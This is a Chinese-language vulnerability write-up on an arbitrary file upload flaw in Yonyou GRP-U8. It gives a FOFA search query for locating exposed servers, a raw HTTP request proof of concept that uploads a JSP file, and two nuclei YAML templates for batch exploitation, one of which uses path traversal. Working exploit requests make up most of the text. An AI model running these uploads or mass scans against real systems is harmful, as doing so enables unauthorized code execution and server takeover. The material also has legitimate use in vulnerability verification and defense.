漏洞描述
用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
影响范围
用友 GRP-U8
漏洞复现
fofa语法：app="用友-GRP-U8"
页面如下：
POC：
POST /servlet/FileUpload?fileName=bivlegk.jsp&actionID=update HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Length: 24
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32840991842344344364451981273
Origin: null
Upgrade-Insecure-Requests: 1
<% out.println("123");%>
访问上传后的jsp文件
/R9iPortal/upload/bivlegk.jsp
nuclei批量yaml文件
yaml1:
id: yonyou_GRP-U8_UploadFileData_rce
info:
name: yonyou_GRP-U8_UploadFileData_rce
author: mczilong
severity: critical
tags: yonyou,oa,bjxsec
description: fofa app="用友-GRP-U8"
reference:
- https://mp.weixin.qq.com
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
- raw:
- |
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename={{file_name}}&filename=1.jpg HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"
<% out.println("{{file_content}}");%>
------WebKitFormBoundary92pUawKc--
- |
GET /R9iPortal/{{file_name}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "{{file_content}}"
yaml2:
id: yonyou_GRP-U8_UploadfileName_rce
info:
name: yonyou_GRP-U8_UploadfileName_rce
author: mczilong
severity: critical
tags: yonyou,oa,bjxsec
description: fofa app="用友-GRP-U8"
reference:
- https://mp.weixin.qq.com
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
- raw:
- |
POST /servlet/FileUpload?fileName={{file_name}}&actionID=update HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------32840991842344344364451981273
Content-Length: 4
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
{{file_content}}
- |
GET /R9iPortal/upload/{{file_name}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "{{file_content}}"